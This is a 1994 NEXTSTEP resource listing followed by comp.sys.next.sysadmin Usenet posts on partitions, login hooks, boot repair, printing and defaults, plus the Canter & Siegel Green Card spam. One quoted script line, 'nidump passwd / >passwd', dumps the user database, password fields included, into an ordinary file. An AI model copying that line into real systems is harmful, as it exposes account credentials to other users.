NeXTanswers
NEXTSTEP WWW Third Party Product Information Server
---------------------------------------------------
The Server has information from many NEXTSTEP Third Party Developers.
As well, there are
- FTP links to the March 1994 NextAnswers MiniExamples
- the ONLY only Hypertext version of the NEXTSTEP Expo Information
- links to the big NEXTSTEP FTP sites
- information on the NEXTSTEP Newsgroups
Using a Mosaic compatible WWW reader, point to
<http://digifix.digifix.com/index.html>
[Under NEXTSTEP try OmniWeb.app (available from ftp.omnigroup.com:/pub/software)]
NEXTSTEP Third Party Product Mail Server
----------------------------------------
Finally online, the Mail Server will allow
you to retrieve information on NEXTSTEP products via
NextMail (other formats coming soon).
Accessing the Server
The information is free, and the service is supported by
sponsors from the NEXTSTEP Community. To find out what
information is available and how to use the server send
email to
ns-products@digifix.com
with
index
or
help
in the message.
Index and Help queries are returned as plain ASCII, all
others as NextMail.
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This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
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Announcements of general interest to the NeXT community
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The NEXTSTEP FAQs are posted here monthly as well.
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A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
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ratio--all too often bozos post stuff here that really
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individual reports may be germane to certain non-NeXT-
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Discussions about NeXT-label hardware and compatible
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Questions and discussions of interest to NEXTSTEP
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Technical talk about the Objective-C language. Implemetations
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Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
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-------------------------------------------
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next-nextstep-d
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next-announce-d
next-bugs-d
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(For a full description, send mail saying LISTS to
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The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
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The ftp sites
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terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
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Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
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answered electronically, and are not read or handled by a human being.
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To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
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sent as ASCII text files:
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This message requests two lists of files, one for each search:
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SEARCH NetInfo domain
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If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
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To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
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Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: fliu@solo.eng.uci.edu (Feng Liu)
Newsgroups: comp.sys.next.sysadmin
Subject: NS/I does not mount DOS partition
Date: 11 Apr 1994 06:46:19 GMT
Organization: University of California, Irvine
Message-ID: <2oarnr$npd@news.service.uci.edu>
I have two IDE DRIVES.
Drive 1: OS/2 boot manager, Next, DOS
Drive 2: DOS primary, DOS logical drive
When NeXT is running, it does not recognize the DOS partition on the first
Drive. It does not recognize the DOS logical drive on the 2nd Drive,
either.
It does recognize the Primary DOS partition on the 2nd Drive when first
login after booting. Subsequent logins, however, lose it.
Any help, or clues are appreciated.
Thanks.
Feng Liu
UC, Irvine
Newsgroups: comp.sys.next.sysadmin
From: smh@netserv.com (Scott M. Hinnrichs)
Subject: CAP6.0 for NeXT Black?
Message-ID: <smh-110494025120@smh-ppc.netserv.com>
Followup-To: comp.sys.next.sysadmin
Sender: news@netsys.com
Organization: NetServices
Date: Mon, 11 Apr 1994 09:54:50 GMT
I have searched the archives, but cannot find a specific build for NeXT
Black
hardware, although I remember seeing it sometime ago while surfing through
various ftp sites.
I have the base release + patches through 192. Unfortunately the patches
are
failing in various ways (works clean on a Sun).
What is the best patch program to use. I found and am using
patch-2.0.12u3.NeXT.tar.Z
Anyone have a patched build of CAP6.0 around that I can ftp? You can drop
it off via anonymous ftp at netserv.com if that is easiest.
Thanks!, Scott
Newsgroups: comp.sys.next.sysadmin
From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: Re: Prevention of logins
Message-ID: <1994Apr11.094501.2034@imag.fr>
Sender: news@imag.fr
Organization: Institut Imag, Grenoble, France
References: <2mqp5d$ag5@mustang.alleg.edu>
Date: Mon, 11 Apr 1994 09:45:01 GMT
In article <2mqp5d$ag5@mustang.alleg.edu> jheidelo@alleg.edu (Jason Heideloff)
writes:
> Does anyone out there know of a way to allow only a certain group of users
> to login through the console gracefully? By gracefully, I mean being able
> to check to see if the user is authorized and if so, login, if not, return
> to a login screen?
>
> Please send responses to jheidelo@alleg.edu if possible.
>
> Thanks!
>
> --
> Jason Heideloff
> Allegheny College
> Meadville, PA 16334
You could run a loginhook (see online doc.) that will check the name (which is
the only argument your hook will get) and exit with 0 code if the user is
allowed to login, 1 or greater if access is denied. This will do exactly what
you want. To run the loginhook, just modify the /etc/ttys console entry to
something like:
# console "/usr/etc/getty std.9600" NeXT on secure
console "/usr/lib/NextStep/loginwindow -ImageFile
/LocalLibrary/Images/Login/nextlogin.calvin.tiff -LoginHook
/LocalApps/loginhooks" NeXT on secure
window=/usr/lib/NextStep/WindowServer onoption="/usr/etc/getty std.9600"
where the -LoginHook /LocalApps/loginhooks is what runs the hook.
Yves.
--
Advocates for the C++ school claim that a well designed Yves
Arrouye
program does not need the extra flexibility (a lie),
Yves.Arrouye@imag.fr
while advocates for the Objective-C school claim that (33) 76 57 48
64
the errors are no problem in practice (another lie). NeXT
Mail
Newsgroups: comp.sys.next.sysadmin
From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: Re: making rc.local launch this
Message-ID: <1994Apr11.100618.2738@imag.fr>
Sender: news@imag.fr
Organization: Institut Imag, Grenoble, France
References: <1994Mar25.214708.20110@altsys.com>
Date: Mon, 11 Apr 1994 10:06:18 GMT
In article <1994Mar25.214708.20110@altsys.com> lorinr@altsys.com (Lorin Rivers
III) writes:
> I'm having trouble with rc.local not launching issd6 on boot. Thsi is
> the entry from my rc.local. Whassup?
>
> #start the issd demon for Virtuoso MUL
> if [-f /ISS_Licensing/altsys/issd6]; then
> /ISS_Licensing/altsys/issd6
> (echo -n 'issd6') > /dev/console
> fi
>
> Thanks!
Use spaces after [ and before ], or the shell won't understand the command.
Yves.
> --
> Lorin Rivers Lorin_Rivers@altsys.com
> NEXTSTEP Sales Manager 214.680.2060
> 269 W. Renner Parkway NeXT Mail Expected
> Richardson, Texas 75080 I said it, not my boss
--
Advocates for the C++ school claim that a well designed Yves
Arrouye
program does not need the extra flexibility (a lie),
Yves.Arrouye@imag.fr
while advocates for the Objective-C school claim that (33) 76 57 48
64
the errors are no problem in practice (another lie). NeXT
Mail
From: koen1830@w203zrz.zrz.tu-berlin.de (Andreas Koenig)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help: How to get 4600 Internet-tiffs in the NewsGrazer and mail.app
Date: 11 Apr 1994 11:47:30 GMT
Organization: mal franz, mal anna
Message-ID: <2obdci$1hm@brachio.zrz.TU-Berlin.DE>
References: <1994Apr8.110356.594@rafa.in-berlin.de> <2o42ch$9s9@brachio.zrz.tu-berlin.de>
In article <2o42ch$9s9@brachio.zrz.tu-berlin.de>,
___I___ <k@franz.ww.TU-Berlin.DE> wrote:
>In article <1994Apr8.110356.594@rafa.in-berlin.de>,
>Ralf Neumann <ralf@rafa.in-berlin.de> wrote:
>>Hello,
>>
>>I have about 4600 pictures from the Internet for
>>/LocalLibrary/Images/Pictures.
>>I want to see these pictures inside the NewsGrazer and the mail.app.
>
>The scripts you are talking about below are a shame, really. I know,
>you didn't write them, but they are doing a lot of harm in and around
>Berlin. Grm.
>
There is some kind of offend in this statement against a (formerly)
unknown person, or let's assume *some* unknown persons. I certainly
didn't want to insult anybody, and I'd rather apologize for the
statement today. Was certainly not a brilliant day for me.
Today I got email from the original author of the script (I don't know,
if he wants to be mentioned in this context), a personality which
undoubtedly has done more for the community than I would ever expect
to be able to contribute myself. Sorry for him.
But he was also bothered by the fact, that his original script was
distorted in more than one respect. I'd suggest, let's have a look
at the script and its roots, line per line.
>># cd /LocalLibrary/Images/People
Of course the necessary starter.
>># nidump aliases / >aliases
(NOT in the original script) What this line does, is *copy* the aliases
in the netinfo database to a file, called aliases. You have to decide,
where you want to keep the aliases. Either in the netinfo database or
in that file. If you decide in favor of netinfo the line is O.K.,
otherwise you shoot yourself in the foot, because you loose the contents
of the file.
>># nidump passwd / >passwd
(NOT in the original script) Let's talk about NeXT. Who designed the
interface between Mail/NewsGrazer and the directory
LocalLibrary/Images/People ? I'd like to hear comments about the
reason, why they decided to have a file called passwd that works as a
database for the contents of the directory. I have the impression this
design was not optimally chosen. The UNIX file system provides
directories, so why put their contents into a file? O.K., they did so,
and we've got to deal with it. It is a fact, that Mail.app needs this
file to be ready to show pictures. The above line helps nothing in
providing the correct information in the ``passwd''-file, because if we
don't have a picture of user ``fred'', we never will see him in Mail.app.
Until here the script does exactly the same as mailDBupdate does, as far
as I understand the documentation. No comment about mailDBupdate:-)
>># ./makemailpic
>>The contens of the makemailpic is
>>#!/bin/sh
>>echo "# aliases file for Internet Format" >>aliases
>>/bin/ls -1 *.tiff | sed 's/.tiff$//; h; s/\./@/; G; s/\n/:c /'>>aliases
(Citing the original author: ``That is of course the root of the problem.
Whoever modified the script added a '*.tiff' and removed the grep
statement causing all the problems to the original poster.'') This line
served as an interface for NewsGrazer before the NewsGrazer decided to
adopt the model that Mail.app uses. As I don't have NewsGrazer, I have to
rely on other sources, that told me, the line is superfluous since the
latest release of NewsGrazer.
>>echo "# passwd file" >>passwd
>>/bin/ls -1 *.tiff | sed 's/.tiff$/::10000::.:noshell/;' >>passwd
(Again, the ``*'' was not in the original script). As for the passwd-file
in general see my lamento above. As for details:
1: You need again the ``/bin/ls | grep ...''-pipe to grep to run the line
without problems, as has been suggested in this thread already.
2: You definitely may replace
sed 's/.tiff$/::10000::.:noshell/;'
by
sed 's/.tiff$/:/'
Just give it a try. The above holds true for NS3.2, black. I'm sorry,
but I have no opportunity to check for earlier versions of NS.
3: If you get rid of the first mentioned passwd-line (or mailDBupdate),
then you should perhaps change the `>>' to a `>', because otherwise
you append to this file everytime you run the script. You get a big
file, you might not like this.
Hope that helps somebody.
Sorry again for the puns.
Hope to see some more fine software that makes our lives easier.
Thank you.
Andreas Koenig,
Newsgroups: comp.sys.next.sysadmin
From: tommi@balou.rhein.de (Thomas Pfleiderer)
Subject: Re: Dialin modem woes.
Message-ID: <1994Apr11.062903.1529@balou.rhein.de>
Sender: tommi@balou.rhein.de
Organization: private NeXT
References: <1994Apr8.212333.4407@cs.uno.edu>
Date: Mon, 11 Apr 94 06:29:03 GMT
David Vazquez writes
>> I'm running NeXTStep 3.2 Intel on a 486DX2 connected to a
>> SupraFax v.32bis modem. I configured ttydfb for dial in as
>> per the instructions in the SysAdmin manual, but it doesn't
>> work. When I call, the modems connect and I am sent an
>> uninterruptable stream of garbage. I have managed a couple
>> of successful logins, but I'm greeted by the garbage as soon
>> as a logout.
>>
>> I've also used the modem for faxes, and that worked fine.
>> Dial outs are flaw- less too. What could be the problem here?
>>
>> -David Vazquez "david@smobject.com"
>>
Pleases summarize the solution!
Thanks, tommi
------
Thomas Pfleiderer
tommi@balou.rhein.de
voice: +49 2225 701332
NeXT-Mail appreciated.
Newsgroups: comp.sys.next.sysadmin
From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: Power off and things like that.
Message-ID: <1994Apr11.124744.8357@imag.fr>
Sender: news@imag.fr
Organization: Institut Imag, Grenoble, France
Date: Mon, 11 Apr 1994 12:47:44 GMT
Hello,
I would like to know some things about power off and related topics with login
window. The first question is: I can use -PowerOffDisabled YES in the
loginwindow call in /etc/ttys. I want to use the DefaultUser default but
neither
dwrite loginwindow DefaultUser mylogin
nor
dwrite LoginWindow DefaultUser mylogin
seems to work. Should it be a GLOBAL dwrite, or what?
Second, do you think it is normal that when power off is disabled, any user
can still power the machine off by choosing Power Off in the logout panel? I
wonder how this may be avoided. Is the PowerOffDisabled default in GLOBAL, and
then read by both loginwindow and WM? If yes, why does loginwindow not
transfer this default when it gets it from its command line?
Thanks for any help,
Yves.
--
Advocates for the C++ school claim that a well designed Yves
Arrouye
program does not need the extra flexibility (a lie),
Yves.Arrouye@imag.fr
while advocates for the Objective-C school claim that (33) 76 57 48
64
the errors are no problem in practice (another lie). NeXT
Mail
Newsgroups: comp.sys.next.sysadmin
From: gerti@tms-gmbh.de (Gerd Knops)
Subject: Again: Partitions and NSFiP
Message-ID: <Co3vt2.1pC@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
Date: Mon, 11 Apr 1994 17:41:25 GMT
When I installed NSFiP, I partitioned my harddisk like this:
100 MB DOS
200 MB NT
700 MB NS
Since I need more space for NS, and don't need NT anymore, I'd like to use
that 200 MB for NS.
However, NS fdisk says, that there can be only 1 NS partition.
Is there a workarround (besides reformatting the hd)?
Gerd
From: jv@speedy.looneytunes (Jorg Vogler)
Newsgroups: comp.sys.next.sysadmin
Subject: Login problems
Date: 11 Apr 1994 16:51:43 GMT
Organization: Wandel & Goltermann Technologies
Distribution: world
Message-ID: <JV.94Apr11125143@speedy.looneytunes>
Hi folks,
I've got some problems with NS on Intel. I can only login as root, any
other user fails. I tried to create an entire new user with the
UserManager tool but I get the same symptoms for the new user as well.
If I try to call su for one of these users I get an error message
"No shell". If I try login, I get "Home directory ... does not exist".
I checked the NetInfo database, It seems ok so far. The only problem
that I found was, it cannot find the language for these users and takes
the default user. The /etc/passwd file seems ok as well. And the
specified home dirs and shells do exist.
If anyone has any idea what might be wrong please send a mail or post
to this news group.
p.s. I tried to change a shell direct in passwd (like usual in other
UNIX systems) but I reset this modifications.
Thanks in advance
Joerg (jv@wg.com)
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From: woo@ornl.gov (John W. Wooten)
Subject: Printer problem after out of paper
Message-ID: <1994Apr11.165016.26423@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Mon, 11 Apr 1994 16:50:16 GMT
I', runinng my newly installed 3.2. When I get a "Out of Paper"
message from the printer and insert new paper, the printer doesn't
restart!. I click the message box, etc., but I seem to have to go to a
terminal window, type lpc, then start. Often I get the message that a
page is jammed, but it isn't.
Ideas, suggestions?
- - - - - - - - -
J. W. Wooten
Newsgroups: comp.sys.next.sysadmin
From: bsielaff@samoa (Bruce Sielaff)
Subject: Re: HELP !!
Message-ID: <Co3sww.4y@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
References: <Cnrnrw.LDK@shakti.ncst.ernet.in>
Date: Mon, 11 Apr 1994 16:41:43 GMT
NS 3.2 is the latest version available
Silverline Industries Ltd. (silver@shakti.ncst.ernet.in) wrote:
: Hello all !!
: WHat is the latest version available in the market of
: NEXTSTEP OS ??? Is there any version available after NS 3.0 ??
: regards,
: David
: email : silver@shakti.ncst.ernet.in
--
----------------------------------
Bruce H. Sielaff, Ph.D.
Laboratory Medicine and Pathology
University of Minnesota
<bsielaff@tahiti.umhc.umn.edu>
(NeXT mail welcome)
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From: caro@adobe.com (Perry A. Caro)
Subject: HELP! mach_init, init failed to load, can't boot, NS/FIP
Message-ID: <1994Apr11.191901.23428@adobe.com>
Sender: caro@mv.us.adobe.com
Organization: Adobe Systems Incorporated
Date: Mon, 11 Apr 1994 19:19:01 GMT
My NS/FIP system will no longer boot. It gets to the point where it
wants to run init, and says this:
rootdev 600, howto 0
Load of /etc/mach_init, errno 2, trying /etc/init
Load of /etc/init failed, errno 2
This was caused innocently enough. I had succesfully logged out, and
wanted to reboot, so I hit the "Restart" button. The login window went
away, but then the system froze. After waiting a long while, I hit the
hard reset button. I've been getting the error ever since.
Short of reinstalling from scratch, what can I do? I've tried booting
a different machine with the -i switch, just to see if it worked:
boot: sd()- -i
but this doesn't seem to do anything. Too bad, from the docs it seems
like the perfect thing.
Would it be possible to build a bootable floppy from a different NS/FIP
machine -- one that has the kernel and enough of /etc to get me to
single user mode? I can mount sd0a as the rootdev just fine (the
mach_kernel and device drivers load okay), so the disk isn't totally
trashed.
Perry
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From: Gibson_Rory@pcp.ca (Rory Gibson)
Subject: Re: WM uid Upper Limit
Message-ID: <1994Apr11.225951.12272@pcp.ca>
Sender: news@pcp.ca
Organization: PanCanadian Petroleum Ltd.
References: <2o4t9h$cdc@nic-nac.CSU.net>
Date: Mon, 11 Apr 94 22:59:51 GMT
In article <2o4t9h$cdc@nic-nac.CSU.net> vqueved@nssnext.calstatela.edu
(Victor Quevedo) writes:
> What is the upper limit on the uid that can be used with NS
(Black/White).
>
> I need to be able to set the uid to over 40,000 to be able to access
other
> NFS servers. The Unix shell part and the file system seam to be
working,
> but the WorkSpace Manager does not display the home (cottage) as a
home
> but a folder. Is this a limit of the workable uid that WM uses? Does
any
> one know a work around. Permissions appear to be working correctly.
>
I had this problem under 2.X (and I believe 3.0). The uid limit was
32768. This might have been fixed under 3.2 but I'm not sure. I seem
to remember that everything worked fine except for the "r" commands such
as "rlogin", "rsh", ... I don't remember if the home dir icon showed up
though.
Rory Gibson
From: ivo@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to mount Linux filesystem ?
Date: 11 Apr 1994 22:37:37 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2ocjfh$f60@news.mic.ucla.edu>
References: <fleminmk.765851824@fe808.cc.purdue.edu>
> Gee, it would be so cool if someone could write something to mount Linux
> partitions....
or a program to access the NeXT partitions from DOS...(yes, I hate DOS,
too).
Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu
Asst Prof of Finance iwelch@agsm.ucla.edu
AGSM at UCLA
From: fliu@jedi.eng.uci.edu (Feng Liu)
Newsgroups: comp.sys.next.sysadmin
Subject: NS/I 3.2 does not mount DOS partition and sound card problem.
Date: 12 Apr 1994 00:31:42 GMT
Organization: University of California, Irvine
Message-ID: <2ocq5e$p38@news.service.uci.edu>
Sorry, in my previous post, my IP address is not correct.
Please e-mail to fliu@uci.edu.
Here is my original question, plus a new one
(1)
I have two IDE DRIVES.
Drive 1: OS/2 boot manager, Next, DOS
Drive 2: DOS primary, DOS logical drive
When NeXT is running, it does not recognize the DOS partition on the first
Drive. It does not recognize the DOS logical drive on the 2nd Drive,
either.
It does recognize the Primary DOS partition on the 2nd Drive when first
login after booting. Subsequent logins, however, lose it.
(2) I got an internal NEC 500 CD-ROM, used an internal audio cable to
connect the CD ROM to a Pro-audio studio card. Under DOS an audio CD can
be played and heard through the sound card, but it does not work under
Next 3.2 with CDPlayer. Instead, I have to plug an earphone at the front
of the CD ROM.
Also, the Pro-audio studio card does not seem to have an internal
connection for the internal speaker, when I install the Proaudio
sound card driver, the system beep sound does not work with the internal
speaker anymore. I would like to have the internal speaker for system
beep when I am not working with the sound card.
Any help, or clues are appreciated.
Thanks.
Feng Liu
UC, Irvine
From: statman@stat.ufl.edu (Charles D. Kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: {Q} How do I change NI from a shell?
Date: 11 Apr 1994 22:35:19 GMT
Organization: University of Florida
Distribution: world
Message-ID: <2ocjb8INNev9@no-names.nerdc.ufl.edu>
References: <RRobertson.41.000F85F9@Athletics.TAMU.EDU>
In article <RRobertson.41.000F85F9@Athletics.TAMU.EDU>
RRobertson@Athletics.TAMU.EDU writes:
> {Please respond to traff@athletics.tamu.edu or
root@necromancer.tamu.edu}
>
> Is there anyway I can change the default shell (I can get in by bsd()-s)
from
> a prompt or am I SOL?
>
If you add bash (via its path) to the allowable shells in
/etc/shells, then you should be able to login in the regular manner.
--
Sincerely,
charles d. kincaid
--------------------------------------------------------------------
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sun admin needs NextStep reference
Date: 12 Apr 1994 02:11:37 GMT
Organization: University of Illinois at Urbana
Message-ID: <2od00p$5mm@vixen.cso.uiuc.edu>
References: <2nv8oj$gjb@coyote.rain.org>
Mark Thomas <Thomas@Sonatech.com> writes:
>Hi.
>I am a primarily Sun system administrator, and I will soon be in charge of
>administration for some NeXT boxes. I'd like to know if there is a system
>administration reference, preferably one that concentrates on the nuances of
>NextStep rather than administration itself. I have all the FAQs. Are there
>any good books on the subject?
I would read the on-line Sys Admin documentation. I think you can
buy it printed, too, if you must.
--
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University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: tm8025a@american.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Talk
Date: 12 Apr 1994 03:34:57 GMT
Organization: The American University Computing Center
Message-ID: <2od4t1$16ss@paladin.american.edu>
Everytime I try to use talk using 3.0 I get the following:
You Don't exist. Go away.
Exit -1.
Anybody have any ideas.
Please e-mail if possible. My news machine keeps going doooowwwnnnn.
tm8025a@american.edu
Torrey McMahon
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From: epaulson@anne (Eric Paulson)
Subject: Re: WP files in Digital Librarian
Message-ID: <1994Apr7.205609.3261@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <2mnnse$2lq@news.u.washington.edu>
Date: Thu, 7 Apr 1994 20:56:09 GMT
In article <2mnnse$2lq@news.u.washington.edu>
jonas@paris.history.washington.edu (Raymond Jonas) writes:
> I'm trying to use Digital Librarian to work with ~2.5mb of text
files,
> most of them in WordPerfect format. For some reason, Digital
Librarian
> won't index and search my WordPerfect files. I understand that DL
is
> supposed to filter out the WP codes, but for some reason it
doesn't. Any
> hints?
>
> I'm running version 2.1 on a Nextstation.
>
>
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-----
> Raymond A. Jonas
> Associate Professor
> Department of History, DP-20
> University of Washington
> Seattle, WA 98195
--
You need to infor DL about the WP filters.
I placed the file services.local as root under
/NextLibrary/Services/Indexing.service
with the following contents for the file services.local
Filter:
Port: NXUNIXSTDIO
Send Type: NXTypedFilenamePboardType:wp
Return Type: NXRTFPboardType
Executable: /LocalApps/WordPerfect.app/wp-rtf
Filter:
Port: NXUNIXSTDIO
Send Type: NXTypedFilenamePboardType:wp
Return Type: NXAsciiPboardType
Executable: /LocalApps/WordPerfect.app/wp-ascii
Filter:
Port: NXUNIXSTDIO
Send Type: NXTypedFilenamePboardType:wp
Return Type: IXFileDescriptionPboardType
Executable: /LocalApps/WordPerfect.app/wp-desc
You should now be able to index WP files.
Note that your path to WordPerfect.app/ could be different than mine.
and I'm running NS 3.2 so it could be different for NS 2.1
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From: wwright@shell.portal.com (Bradly William Wright)
Subject: Help! Photoreal Rendering Broken
Message-ID: <Co0uA7.2Jv@unix.portal.com>
Summary: 3D photo-real rendering is broken on NS/FIP 3.2
Sender: news@unix.portal.com
Organization: Portal Communications Company
Date: Sun, 10 Apr 1994 02:15:42 GMT
When trying to render photorealisticly, I get this error from
the renderman server
clnt_create: RPC: Unknown host
Does anyone know what this error means?
Brad Wright
wwright@premisys.com
wwright@shell.portal.com
Newsgroups: comp.sys.next.sysadmin
From: sstaton@netcom.com (Steven R. Staton)
Subject: Re: [Q] white hw: how to write MBR (bootmanager)
Message-ID: <sstatonCo4qJL.9xq@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 12 Apr 1994 04:45:20 GMT
To repair a lost NEXTSTEP boot manager, issue the command "disk -b <raw
disk>" where <raw disk> is /dev/r[hs]d[1..]a. It does the right thing to
the existing partition boot sector, and even fixes the "Restart in DOS"
option so that it really works.
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Newsgroups: comp.sys.next.sysadmin
From: Bruce Gingery <bruce@TotSysSoft.com>
Subject: GLOBAL & other defaults (was Re: A4 default in Preview app?)
Message-ID: <1994Apr12.044655.2060@ToTSySSoft.com>
Sender: news@ToTSySSoft.com
Organization: Total System Software
References: <1994Apr8.191635.6472@seer.demon.co.uk>
Date: Tue, 12 Apr 1994 04:46:55 GMT
In article <1994Apr8.191635.6472@seer.demon.co.uk> paul@seer.demon.co.uk
(Paul Lynch) writes:
~> In article <1994Apr7.233417.14766@rdbois.uucp> sr@rdbois.fdn.org
~> (serge_ruby) writes:
~> > > > Does any of you know were to find the list of the relevant
~> > > > GLOBAL dwrite ?
~> > > > I could not find it in the librarian.
~>
~> I just saw a list of general dwrites in the on-line Developer
~> documentation; try:
~>
~> GeneralRef/ApB_Defaults/Defaults.rtf
From what I've seen in the documentation, ANY dwrite can be written as
GLOBAL, and should be fetched BEFORE app-defined defaults of the same
"name". I have not tested this exhaustively, but have started a few. Of
course any defaults SAVED from Prefs in an app are apt to override the
global for that app only. unless transferred to GLOBAL with dread/dwrite
The localized equivalents for:
GLOBAL NXAmPm "AM PM"
GLOBAL NXDate "%a %b %d %Y"
GLOBAL NXDateAndTime "%a %b %d %H:%M:%S %Z %Y"
GLOBAL NXLongDays "Sunday Monday Tuesday Wednesday Thursday Friday
Saturday"
GLOBAL NXLongMonths "January February March April May June July August
September October November December"
GLOBAL NXMeasurementUnit Inches
GLOBAL NXShortDays "Sun Mon Tue Wed Thu Fri Sat"
GLOBAL NXShortMonths "Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec"
GLOBAL NXTime "%H:%M:%S %Z"
seem to be installed either by make-user copy of default defaults
database, or Workspace (or WM) when such are not found.
Does anyone have handy the correct dwrite for use of gzcat in lieu of
zcat when WM decompresses .compressed files? I have "GLOBAL decompress"
and "Workspace Decompress", and am not sure which case is actually being
used.
Bruce Gingery
bruce@TotSysSoft.com
From: nike@indirect.com (Laurence Canter)
Newsgroups: comp.sys.next.sysadmin,pgh.test
Subject: Green Card Lottery- Final One?
Date: 12 Apr 1994 08:01:56 GMT
Organization: Canter & Siegel
Message-ID: <2odkhk$3gu@herald.indirect.com>
Green Card Lottery 1994 May Be The Last One!
THE DEADLINE HAS BEEN ANNOUNCED.
The Green Card Lottery is a completely legal program giving away a
certain annual allotment of Green Cards to persons born in certain
countries. The lottery program was scheduled to continue on a
permanent basis. However, recently, Senator Alan J Simpson
introduced a bill into the U. S. Congress which could end any future
lotteries. THE 1994 LOTTERY IS SCHEDULED TO TAKE PLACE
SOON, BUT IT MAY BE THE VERY LAST ONE.
PERSONS BORN IN MOST COUNTRIES QUALIFY, MANY FOR
FIRST TIME.
The only countries NOT qualifying are: Mexico; India; P.R. China;
Taiwan, Philippines, North Korea, Canada, United Kingdom (except
Northern Ireland), Jamaica, Domican Republic, El Salvador and
Vietnam.
Lottery registration will take place soon. 55,000 Green Cards will be
given to those who register correctly. NO JOB IS REQUIRED.
THERE IS A STRICT JUNE DEADLINE. THE TIME TO START IS
NOW!!
For FREE information via Email, send request to
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From: ian_stewart@nyro.com (Ian H. Stewart)
Subject: Printing to PS (Save) trouble
Message-ID: <Co4v48.1D8@nyro.com>
Sender: ian@nyro.com (Ian H. Stewart)
Organization: NYRO Technix, Inc. - 415 664-1170
Date: Tue, 12 Apr 1994 06:24:07 GMT
I am trying to save a legal size document as a postscript file.
It keeps getting chopped at the top. (either previewing or saving).
(save as... eps works great.)
Any help is appreciated.
Ian
--
NYRO Technix, Inc.
236 W. Portal Ave Suite 341
San Francisco CA 94127
415 664-1170 voice
From: me@vigor.anatomy.upenn.edu (Joe Panico)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Green Card Lottery- Final One?
Date: 12 Apr 1994 11:05:03 GMT
Organization: University of Pennsylvania
Distribution: world
Message-ID: <2odv8v$b76@netnews.upenn.edu>
References: <2odkhk$3gu@herald.indirect.com>
In article <2odkhk$3gu@herald.indirect.com> nike@indirect.com (Laurence
Canter) writes:
> Green Card Lottery 1994 May Be The Last One!
> THE DEADLINE HAS BEEN ANNOUNCED.
>
> The Green Card Lottery is a completely legal program giving away a
> certain annual allotment of Green Cards to persons born in certain
> countries. The lottery program was scheduled to continue on a
> permanent basis. However, recently, Senator Alan J Simpson
> introduced a bill into the U. S. Congress which could end any future
> lotteries. THE 1994 LOTTERY IS SCHEDULED TO TAKE PLACE
> SOON, BUT IT MAY BE THE VERY LAST ONE.
>
> PERSONS BORN IN MOST COUNTRIES QUALIFY, MANY FOR
> FIRST TIME.
>
> The only countries NOT qualifying are: Mexico; India; P.R. China;
> Taiwan, Philippines, North Korea, Canada, United Kingdom (except
> Northern Ireland), Jamaica, Domican Republic, El Salvador and
> Vietnam.
>
> Lottery registration will take place soon. 55,000 Green Cards will be
> given to those who register correctly. NO JOB IS REQUIRED.
>
> THERE IS A STRICT JUNE DEADLINE. THE TIME TO START IS
> NOW!!
>
> For FREE information via Email, send request to
> cslaw@indirect.com
>
>
> --
> *****************************************************************
> Canter & Siegel, Immigration Attorneys
> 3333 E Camelback Road, Ste 250, Phoenix AZ 85018 USA
> cslaw@indirect.com telephone (602)661-3911 Fax (602) 451-7617
The most blatant violation of Netiquette I have ever seen.
1) aggressive commercial solicitation
2) in the wrong newsgroup (obviously they carpet-bombed many if
not all newsgroups)
3) They're Lawyers!
Does anyone know if there is someone I can complain to? Are there
Net police ( perhaps we need terminators in this case)? If you are
as irritated as I, please send e-mail to the these cretins telling
them to KEEP THIS SHIT OUT OF THE TECHNICAL NEWSGROUPS!!
Joe Panico
joe@retina.anatomy.upenn.edu
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Green Card Lottery- Final One?
Date: 12 Apr 1994 13:44:18 +0100
Organization: me organised, that's a joke.
Message-ID: <2oe532$4oa@steffi.demon.co.uk>
References: <2odkhk$3gu@herald.indirect.com> <2odv8v$b76@netnews.upenn.edu>
